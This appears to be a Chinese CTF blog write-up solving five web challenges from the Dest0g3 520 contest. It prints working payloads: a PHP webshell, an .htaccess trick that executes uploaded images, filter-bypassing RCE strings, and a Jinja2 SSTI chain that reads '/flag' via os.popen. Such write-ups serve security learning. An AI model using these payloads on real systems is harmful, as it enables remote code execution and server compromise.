Dest0g3 520迎新赛 web(1~5题)

1、phpdest

2、EasyPHP

3、SimpleRCE

4、funny_upload

5、EasySSTI



phpdest

放出源码:

<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
    require_once($_GET['file']);
}

这一次是对require_once()函数的考查,其调用时php会检查该文件是否已经被包含过,如果是则不会再次包含,于是我们必须想办法绕过这个机制,从而实现再次包含文件flag.php.

上一次我们学习到php伪协议,结合下面这个知识点

/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接

我们就可以用伪协议配合多级符号链接的办法进行绕过,直接构造payload:

?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

GET传参成功

转码后成功得到flag.
flag = "Dest0g3{ef8f9913-9d91-4c88-9773-0810a40f8ad8}
[资料查阅:require_once 绕过不能重复包含文件的限制]


EasyPHP

依旧给出源码:

<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
    echo $fl4g;
}else{
    echo "Try harder!";
}
set_error_handler(
    function() use(&$fl4g) {
        print $fl4g;
    }
);
$fl4g .= $dest0g3;
?>

易知需要我们POST方式传入ctf,然后拼接在$fl4g后面,而输出$fl4g只能想办法触发set_error_handler()

这里我们利用把数组当作字符串进行拼接运算时会报错这一点

Notice:Array to string conversion
//把数组当成了字符串使用,进行 .= 运算时,会自动根据环境需要转换数据类型(echo、print输出数组时也会报这样的信息)

ctf用POST传入,即payloadctf[]=1

成功获得flag.


SimpleRCE

源码给出:

<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

需要我们绕过str_ireplace()函数(不区分大小写地对数组中所有元素进行搜索替换)上传命令,从而实现RCE.

Ⅰ、十六进制编码绕过
由于过滤了decode,base64编码不能使用,我们想到十六进制转换后绕过。脚本如下:

<?php
$a= "system";
$b="cat *";//命令

$p='sysytem:'.bin2hex($a).'<br>command:'.bin2hex($b);
echo $p;
?> 

//sysytem:73797374656d
//command:636174202a

构造payload:aaa=hex2bin('73797374656D')(hex2bin('636174202f2a'));//不加;不行
成功拿到flag.

Ⅱ、无参RCE直接过
看到的一种很牛的办法,不过还没有弄清原理。
payload:

POST:
aaa=show_source(next(apache_request_headers()));
User-Agent: /flag

Ⅲ、当然,还有其他绕过方法,如取反绕过:取反基本上用的都是一个不可见字符,不会触发到正则表达式。这里不再赘述,给出脚本:

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

[资料查阅:无字母数字绕过正则表达式总结]


funny_upload

查看页面源代码

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title></title>
</head>
<body>

<script language="javascript">
function Checkfiles()
{
var fup = document.getElementById('file');
var fileName = fup.value;
var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
{
return true;
}
else
{
alert("这个文件不好,我不喜欢");
return false;
}
}
</script>
<form method="post" onsubmit="return Checkfiles()" enctype="multipart/form-data" >
    <input type="file" name="file" id="file">
    <input  type="submit" name="1">
</form>

</body>
</html>

<script>alert('文件内容也改改呗~');</script>

可知前端对文件进行了绕过,且对文件内容也进行了过滤,尝试base64编码绕过:

<?php @eval($_POST[1]); ?>
base64编码——>
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=

上传成功!接下来的问题是,如何把这个上传的.png文件解析为.php文件。

了解到.htaccess文件(或者"分布式配置文件")

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

其中Addtype指令可以将给定的文件拓展名映射到指定的内容类型:

AddType media-type extension [extension] ...
 
示例:
AddType application/x-httpd-php .gif
 
将以 gif 为后缀的文件当做 php 解析

AddType application/x-httpd-php png  jpg gif
将以上的多个后缀都当作php解析。

并且,通过 php_value 来设置 auto_prepend_file 或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录里需要有可解析的php文件来触发

结合以上两个指令,我们可以上传一个.htaccess文件:

Addtype application/x-httpd-php .jpg
#将以 jpg 为后缀的文件当做 php 解析

php_value auto_append_file "php://filter/convert.base64-decode/resource=webshell.jpg"
#配合php伪协议+包含“函数”实现文件执行 

修改请求包上传成功。

按照路径打开webshell.jpg->当作php解析->触发php_value auto_append_file指令->执行源码

连接蚁剑,在根目录下找到Flag.

[查阅资料:.htaccess的利用方法和技巧]


EasySSTI

上来就让我们登录(截这张图完全因为background好看哈哈哈❤)

根据题目名称提示,这题考察我们SSTI。补习了一些SSTI的知识后【服务器端模板注入(SSTI)】,先用bp抓包,找注入点:

发现在username处有jinja2模板引擎的SSTI漏洞。
于是用''.__class__等进行简单测试,发现_'" [都被过滤了,于是用{{().request.args.class}}&class=__class__尝试绕过,结果request也被过滤。(事实上globalsgetitemosreadpopenpop也都被过滤,但是我还没有测出来)
从其他师傅那里piao到小姿势:{{config}}可以用来查看配置信息,通过这个或许能够构造出我要的payload

&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;: None, &#39;SECRET_KEY&#39;: None, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: True, &#39;JSON_SORT_KEYS&#39;: True, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: False, &#39;JSONIFY_MIMETYPE&#39;: &#39;application/json&#39;, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093}&gt;

找到\,可以利用config|string|list获取以执行命令查看根目录......
接续翻查资料了解到:

1. python下的数据拼接
join 方法 拼接字典,主要用于索引上的合并:默认按索引合并,可以合并相同或相似的索引,不管他们有没有重叠列

2. {{()|select|string|list}}  or  {{lipsum|select|string|list}}     
获取字符列表  

3. {{lipsum.__globals__['os'].popen('ls').read()}}
命令执行

由此可以用诸如以下的方式构造我们需要的被“过滤”的关键字:

#构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}
 
#构造a=(()|select|string|list).pop(24),这里a即下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
 
#构造ini="__init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
 
#构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
 
#构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
 
#构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
 
#构造sub="__subclasses__"
{% set sub=(a,a,dict(subclasses=a)|join,a,a)|join()%}

#构造chr()函数调用
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}

#构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

回到这一题,因为空格被过滤,可用%0a换行符绕过。命令执行payload构造过程:

{%set%0apo=dict(po=a,p=a)|join()%}                        #pop
{%set%0aa=(()|select|string|list)|attr(po)(24)%}          #_
{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}  #globals
{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%} #getitem
{%set%0ape=dict(po=aaa,pen=aaa)|join()%}                  #popen
{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}               #read
dict(o=a,s=a)|join()                #获取 os
(config|string|list)|attr(po)(279)  #获取  /


{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}
<==>
{{lipsum.__globals__['os'].popen('ls').read()}}

成功构造payload:

{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(dict(l=a,s=a)|join())|attr(re)()}}

修改payload,将ls改为ls /,上述dict拼接办法不能用(也可能是我操作有问题),直接()|select|string|list一个个获取:

((()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(18),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279))|join()

发现flag后按照上述办法将命令修改为cat /flag

((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join()

成功获取FLAG,最后给出最终完整的Payload:

{%set%0apo=dict(po=a,p=a)|join()%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aglo=(a,a,dict(glo=aa,bals=aa)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(ge=aa,titem=aa)|join,a,a)|join()%}{%set%0ape=dict(po=aaa,pen=aaa)|join()%}{%set%0are=dict(rea=aaaaa,d=aaaaa)|join()%}{{lipsum|attr(glo)|attr(geti)(dict(o=a,s=a)|join())|attr(pe)(((()|select|string|list)|attr(po)(15),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(16),(()|select|string|list)|attr(po)(10),(config|string|list)|attr(po)(279),(()|select|string|list)|attr(po)(41),(()|select|string|list)|attr(po)(20),(()|select|string|list)|attr(po)(6),(()|select|string|list)|attr(po)(1))|join())|attr(re)()}}
posted @   ohvy  阅读(383)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示